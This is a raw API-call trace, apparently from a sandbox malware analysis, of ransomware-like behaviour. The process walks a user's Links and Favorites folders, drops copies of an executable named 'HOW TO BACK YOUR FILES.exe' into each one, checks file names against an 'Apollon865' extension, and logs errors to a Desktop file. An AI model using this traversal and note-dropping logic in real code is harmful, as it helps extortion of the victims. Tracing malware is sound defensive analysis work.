	[0040.488] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc0a3f00, ftCreationTime.dwHighDateTime=0x1d4c5f7, ftLastAccessTime.dwLowDateTime=0xe56a3f40, ftLastAccessTime.dwHighDateTime=0x1d4cb98, ftLastWriteTime.dwLowDateTime=0xe56a3f40, ftLastWriteTime.dwHighDateTime=0x1d4cb98, nFileSizeHigh=0x0, nFileSizeLow=0x1553f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VS_dVFrYo_CGO1iaGus.m4a", cAlternateFileName="VS_DVF~1.M4A")) returned 0xffffffff
	[0040.488] GetLastError () returned 0x5
	[0040.488] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\* FindFirstFile error 5\r\n") returned 78
	[0040.488] lstrlenA (lpString="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\* FindFirstFile error 5\r\n") returned 78
	[0040.488] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154
	[0040.489] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1121
	[0040.489] WriteFile (in: hFile=0x154, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x4e, lpOverlapped=0x0) returned 1
	[0040.489] CloseHandle (hObject=0x154) returned 1
	[0040.490] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c50
	[0040.490] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links"
	[0040.490] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bdca8 | out: hHeap=0x580000) returned 1
	[0040.490] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0040.490] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links") returned 35
	[0040.490] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links"
	[0040.490] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.490] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.495] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.495] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x303e8990, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x303e8990, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.495] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.495] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.495] lstrcpyW (in: lpString1=0x2d3e598, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0040.495] lstrlenW (lpString="desktop.ini") returned 11
	[0040.495] lstrlenW (lpString="Apollon865") returned 10
	[0040.495] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0040.495] lstrcpyW (in: lpString1=0x2d3e598, lpString2="Desktop.lnk" | out: lpString1="Desktop.lnk") returned="Desktop.lnk"
	[0040.495] lstrlenW (lpString="Desktop.lnk") returned 11
	[0040.495] lstrlenW (lpString="Apollon865") returned 10
	[0040.495] lstrcmpiW (lpString1="esktop.lnk", lpString2="Apollon865") returned 1
	[0040.495] lstrcpyW (in: lpString1=0x2d3e598, lpString2="Downloads.lnk" | out: lpString1="Downloads.lnk") returned="Downloads.lnk"
	[0040.495] lstrlenW (lpString="Downloads.lnk") returned 13
	[0040.495] lstrlenW (lpString="Apollon865") returned 10
	[0040.495] lstrcmpiW (lpString1="nloads.lnk", lpString2="Apollon865") returned 1
	[0040.495] lstrcpyW (in: lpString1=0x2d3e598, lpString2="RecentPlaces.lnk" | out: lpString1="RecentPlaces.lnk") returned="RecentPlaces.lnk"
	[0040.495] lstrlenW (lpString="RecentPlaces.lnk") returned 16
	[0040.495] lstrlenW (lpString="Apollon865") returned 10
	[0040.495] lstrcmpiW (lpString1="Places.lnk", lpString2="Apollon865") returned 1
	[0040.495] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites"
	[0040.495] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bcb18 | out: hHeap=0x580000) returned 1
	[0040.495] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0040.495] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites") returned 39
	[0040.495] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites"
	[0040.495] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.496] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.500] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.500] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x303e8990, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x303e8990, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.500] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.500] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.500] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0040.500] lstrlenW (lpString="desktop.ini") returned 11
	[0040.500] lstrlenW (lpString="Apollon865") returned 10
	[0040.500] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0040.500] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="Links" | out: lpString1="Links") returned="Links"
	[0040.500] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", dwFileAttributes=0x10) returned 1
	[0040.501] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0040.501] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5c) returned 0x5c5528
	[0040.501] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7c30
	[0040.501] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1
	[0040.501] lstrcmpiW (lpString1="Microsoft Websites", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.501] lstrcmpiW (lpString1="Microsoft Websites", lpString2="Apollon865.txt.exe") returned 1
	[0040.501] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="Microsoft Websites" | out: lpString1="Microsoft Websites") returned="Microsoft Websites"
	[0040.501] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0040.501] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x76) returned 0x591640
	[0040.501] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7ad0
	[0040.501] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1
	[0040.501] lstrcmpiW (lpString1="MSN Websites", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.501] lstrcmpiW (lpString1="MSN Websites", lpString2="Apollon865.txt.exe") returned 1
	[0040.501] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="MSN Websites" | out: lpString1="MSN Websites") returned="MSN Websites"
	[0040.501] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0040.501] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6a) returned 0x59a998
	[0040.501] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7c50
	[0040.501] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1
	[0040.501] lstrcmpiW (lpString1="Windows Live", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.501] lstrcmpiW (lpString1="Windows Live", lpString2="Apollon865.txt.exe") returned 1
	[0040.501] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="Windows Live" | out: lpString1="Windows Live") returned="Windows Live"
	[0040.501] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0040.501] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6a) returned 0x59aa10
	[0040.501] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7af0
	[0040.501] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0
	[0040.502] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0040.502] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b10
	[0040.502] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live"
	[0040.502] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0040.502] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0040.502] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live") returned 52
	[0040.502] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live"
	[0040.502] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.502] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.511] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.511] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3040eaf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3040eaf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.511] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.511] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.511] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="Get Windows Live.url" | out: lpString1="Get Windows Live.url") returned="Get Windows Live.url"
	[0040.511] lstrlenW (lpString="Get Windows Live.url") returned 20
	[0040.511] lstrlenW (lpString="Apollon865") returned 10
	[0040.511] lstrcmpiW (lpString1="s Live.url", lpString2="Apollon865") returned 1
	[0040.511] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="Windows Live Gallery.url" | out: lpString1="Windows Live Gallery.url") returned="Windows Live Gallery.url"
	[0040.511] lstrlenW (lpString="Windows Live Gallery.url") returned 24
	[0040.511] lstrlenW (lpString="Apollon865") returned 10
	[0040.512] lstrcmpiW (lpString1="allery.url", lpString2="Apollon865") returned -1
	[0040.512] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="Windows Live Mail.url" | out: lpString1="Windows Live Mail.url") returned="Windows Live Mail.url"
	[0040.512] lstrlenW (lpString="Windows Live Mail.url") returned 21
	[0040.512] lstrlenW (lpString="Apollon865") returned 10
	[0040.512] lstrcmpiW (lpString1="e Mail.url", lpString2="Apollon865") returned 1
	[0040.512] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="Windows Live Spaces.url" | out: lpString1="Windows Live Spaces.url") returned="Windows Live Spaces.url"
	[0040.512] lstrlenW (lpString="Windows Live Spaces.url") returned 23
	[0040.512] lstrlenW (lpString="Apollon865") returned 10
	[0040.512] lstrcmpiW (lpString1="Spaces.url", lpString2="Apollon865") returned 1
	[0040.512] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites"
	[0040.512] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0040.512] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0040.512] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites") returned 52
	[0040.512] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites"
	[0040.512] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.512] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.519] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.519] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x30434c50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30434c50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.519] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.519] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.519] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="MSN Autos.url" | out: lpString1="MSN Autos.url") returned="MSN Autos.url"
	[0040.519] lstrlenW (lpString="MSN Autos.url") returned 13
	[0040.519] lstrlenW (lpString="Apollon865") returned 10
	[0040.519] lstrcmpiW (lpString1=" Autos.url", lpString2="Apollon865") returned -1
	[0040.519] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="MSN Entertainment.url" | out: lpString1="MSN Entertainment.url") returned="MSN Entertainment.url"
	[0040.519] lstrlenW (lpString="MSN Entertainment.url") returned 21
	[0040.519] lstrlenW (lpString="Apollon865") returned 10
	[0040.519] lstrcmpiW (lpString1="inment.url", lpString2="Apollon865") returned 1
	[0040.519] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="MSN Money.url" | out: lpString1="MSN Money.url") returned="MSN Money.url"
	[0040.519] lstrlenW (lpString="MSN Money.url") returned 13
	[0040.519] lstrlenW (lpString="Apollon865") returned 10
	[0040.519] lstrcmpiW (lpString1=" Money.url", lpString2="Apollon865") returned -1
	[0040.520] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="MSN Sports.url" | out: lpString1="MSN Sports.url") returned="MSN Sports.url"
	[0040.520] lstrlenW (lpString="MSN Sports.url") returned 14
	[0040.520] lstrlenW (lpString="Apollon865") returned 10
	[0040.520] lstrcmpiW (lpString1="Sports.url", lpString2="Apollon865") returned 1
	[0040.520] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="MSN.url" | out: lpString1="MSN.url") returned="MSN.url"
	[0040.520] lstrlenW (lpString="MSN.url") returned 7
	[0040.520] lstrlenW (lpString="Apollon865") returned 10
	[0040.520] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="MSNBC News.url" | out: lpString1="MSNBC News.url") returned="MSNBC News.url"
	[0040.520] lstrlenW (lpString="MSNBC News.url") returned 14
	[0040.520] lstrlenW (lpString="Apollon865") returned 10
	[0040.520] lstrcmpiW (lpString1="C News.url", lpString2="Apollon865") returned 1
	[0040.520] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites"
	[0040.520] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591640 | out: hHeap=0x580000) returned 1
	[0040.520] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0040.520] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites") returned 58
	[0040.520] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites"
	[0040.520] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.520] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.527] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.527] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x30434c50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30434c50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.527] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.527] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.527] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="IE Add-on site.url" | out: lpString1="IE Add-on site.url") returned="IE Add-on site.url"
	[0040.527] lstrlenW (lpString="IE Add-on site.url") returned 18
	[0040.527] lstrlenW (lpString="Apollon865") returned 10
	[0040.527] lstrcmpiW (lpString1="n site.url", lpString2="Apollon865") returned 1
	[0040.527] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="IE site on Microsoft.com.url" | out: lpString1="IE site on Microsoft.com.url") returned="IE site on Microsoft.com.url"
	[0040.527] lstrlenW (lpString="IE site on Microsoft.com.url") returned 28
	[0040.527] lstrlenW (lpString="Apollon865") returned 10
	[0040.527] lstrcmpiW (lpString1="ft.com.url", lpString2="Apollon865") returned 1
	[0040.527] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="Microsoft At Home.url" | out: lpString1="Microsoft At Home.url") returned="Microsoft At Home.url"
	[0040.527] lstrlenW (lpString="Microsoft At Home.url") returned 21
	[0040.527] lstrlenW (lpString="Apollon865") returned 10
	[0040.528] lstrcmpiW (lpString1="t Home.url", lpString2="Apollon865") returned 1
	[0040.528] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="Microsoft At Work.url" | out: lpString1="Microsoft At Work.url") returned="Microsoft At Work.url"
	[0040.528] lstrlenW (lpString="Microsoft At Work.url") returned 21
	[0040.528] lstrlenW (lpString="Apollon865") returned 10
	[0040.528] lstrcmpiW (lpString1="t Work.url", lpString2="Apollon865") returned 1
	[0040.528] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="Microsoft Store.url" | out: lpString1="Microsoft Store.url") returned="Microsoft Store.url"
	[0040.528] lstrlenW (lpString="Microsoft Store.url") returned 19
	[0040.528] lstrlenW (lpString="Apollon865") returned 10
	[0040.528] lstrcmpiW (lpString1=" Store.url", lpString2="Apollon865") returned -1
	[0040.528] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links"
	[0040.528] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5528 | out: hHeap=0x580000) returned 1
	[0040.528] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0040.528] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links") returned 45
	[0040.528] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links"
	[0040.528] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
